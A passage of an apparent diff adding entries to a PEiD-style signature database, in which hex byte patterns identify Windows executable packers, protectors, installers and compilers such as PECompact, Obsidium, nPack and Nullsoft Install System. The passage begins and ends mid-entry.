BGCorp] +signature = ?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D +ep_only = true + +[Hide PE 1.01 -> BGCorp] +signature = ?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D +ep_only = true + +[Inno Setup Module v1.09a] +signature = 55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0 +ep_only = true + +[Inno Setup Module v1.2.9] +signature = 55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0 +ep_only = true + +[iPBProtect v0.1.3] +signature = 55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 +ep_only = false + +[JDPack V2.00 -> JDPack] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB +ep_only = true + +[kkrunchy -> Ryd] +signature = BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 +ep_only = true + +[LameCrypt -> LaZaRus] +signature = 60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0 +ep_only = true + +[Launcher Generator v1.03] +signature = 68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 +ep_only = false + +[Macromedia Windows Flash Projector/Player v3.0] +signature = 55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06 +ep_only = true + +[Macromedia Windows Flash Projector/Player v4.0] +signature = 83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C +ep_only = true + +[Macromedia Windows Flash Projector/Player v6.0] +signature = 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C +ep_only = true + +[Metrowerks CodeWarrior (DLL) v2.0] +signature = 55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9 +ep_only = false + +[MEW 11 SE v1.2] +signature = E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[Microsoft CAB SFX module] +signature = 55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20 +ep_only = true + +[Microsoft Visual C# v7.0 / Basic .NET] +signature = FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = false + +[Microsoft Visual C++ 6.0 - 8.0] +signature = 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3 +ep_only = false + +[Microsoft Visual C++ 6.0 - 8.0] +signature = 3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3 +ep_only = false + +[Microsoft Visual C++ 6.0 - 8.0] +signature = 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3 +ep_only = false + +[Microsoft Visual C++ v7.1 DLL] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC +ep_only = true + +[Microsoft Visual C++ v7.1 DLL] +signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 +ep_only = true + +[Microsoft Windows Update CAB SFX module] +signature = E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18 +ep_only = false + +[MingWin32 v?.? (h)] +signature = 55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55 +ep_only = true + +[Morphine v3.3 -> Silent Software & Silent Shield (c)2005] +signature = 28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 +ep_only = false + +[nBinder v4.0] +signature = 5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79 +ep_only = false + +[nMacro recorder 1.0] +signature = 5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00 +ep_only = false + +[North Star PE Shrinker v1.3 by Liuxingping] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 +ep_only = false + +[nPack v1.1 150-200 Beta -> NEOx] +signature = 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 +ep_only = true + +[nPack v1.1 250 Beta -> NEOx] +signature = 83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 +ep_only = true + +[nPack V1.1.150.2006.Beta -> NEOx/[uinC]] +signature = 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3 +ep_only = true + +[nPack V1.1.150.2006.Beta -> NEOx/[uinC]] +signature = 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 +ep_only = true + +[nPack V1.1.200.2006.Beta -> NEOx/[uinC]] +signature = 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 +ep_only = true + +[nPack v1.1.xxx -> NEOx] +signature = 83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 +ep_only = true + +[NsPack v3.1 -> North Star (h)] +signature = 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 +ep_only = true + +[NTkrnl Secure Suite -> NTkrnl Team (Blue)] +signature = 68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF +ep_only = false + +[NTkrnl Secure Suite -> NTkrnl team (h)] +signature = 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 +ep_only = false + +[NTkrnl Secure Suite V0.1 -> NTkrnl Software] +signature = 00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 +ep_only = false + +[NTkrnl Secure Suite V0.1 DLL -> NTkrnl Software] +signature = 00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3 +ep_only = false + +[NTKrnlPacker -> Ashkbiz Danehkar] +signature = 00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 +ep_only = false + +[Nullsoft Install System v2.0] +signature = 83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 +ep_only = false + +[Nullsoft Install System v2.0 RC2] +signature = 83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 +ep_only = false + +[Nullsoft Install System v2.0a0] +signature = 83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 +ep_only = false + +[Nullsoft Install System v2.0b4] +signature = 83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 +ep_only = false + +[Nullsoft Install System v2.0b4] +signature = 83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 +ep_only = false + +[Obsidium 1.3.0.17 -> Obsidium software] +signature = EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 +ep_only = true + +[Obsidium v1.3.0.37 -> Obsidium Software (h)] +signature = EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 +ep_only = true + +[Obsidium v1.3.0.4 -> Obsidium Software (h)] +signature = EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 +ep_only = true + +[Obsidium v1.3.3.1 -> Obsidium Software (h)] +signature = EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00 +ep_only = true + +[Obsiduim 1.3.0.4 -> Obsiduim Software] +signature = EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 +ep_only = true + +[Pack Master v1.0] +signature = 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 +ep_only = true + +[Packanoid 1.0 -> ackanoid] +signature = BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 +ep_only = true + +[Packanoid v1 -> Arkanoid] +signature = BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 +ep_only = true + +[Packman 0.0.0.1 -> Bubbasoft (h)] +signature = 0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 +ep_only = false + +[PC PE Encryptor Alpha preview] +signature = 53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84 +ep_only = true + +[PE Diminisher v0.1] +signature = 53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 +ep_only = true + +[PE Lock v1.06] +signature = 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45 +ep_only = true + +[PE Ninja v1.0 -> +DzA kRAker TNT] +signature = BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[PE Protect v0.9] +signature = E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F +ep_only = false + +[PE-Armor 0.46 -> China Cracking Group] +signature = E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 +ep_only = true + +[PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN (h)] +signature = C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 +ep_only = false + +[PeCompact 2.xx --> BitSum Technologies] +signature = B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 +ep_only = true + +[PECompact v0.90] +signature = EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5 +ep_only = true + +[PECompact v0.977] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87 +ep_only = true + +[PECompact v0.978] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88 +ep_only = true + +[PECompact v0.978.1] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87 +ep_only = true + +[PECompact v0.978.2] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85 +ep_only = true + +[PECompact v0.98] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85 +ep_only = true + +[PECompact v0.99] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85 +ep_only = true + +[PECompact v1.00] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85 +ep_only = true + +[PECompact v1.10b1] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63 +ep_only = true + +[PECompact v1.10b2] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60 +ep_only = true + +[PECompact v1.10b3] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95 +ep_only = true + +[PECompact v1.10b4] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44 +ep_only = true + +[PECompact v1.10b5] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49 +ep_only = true + +[PECompact v1.10b6] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7 +ep_only = true + +[PECompact v1.10b7] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 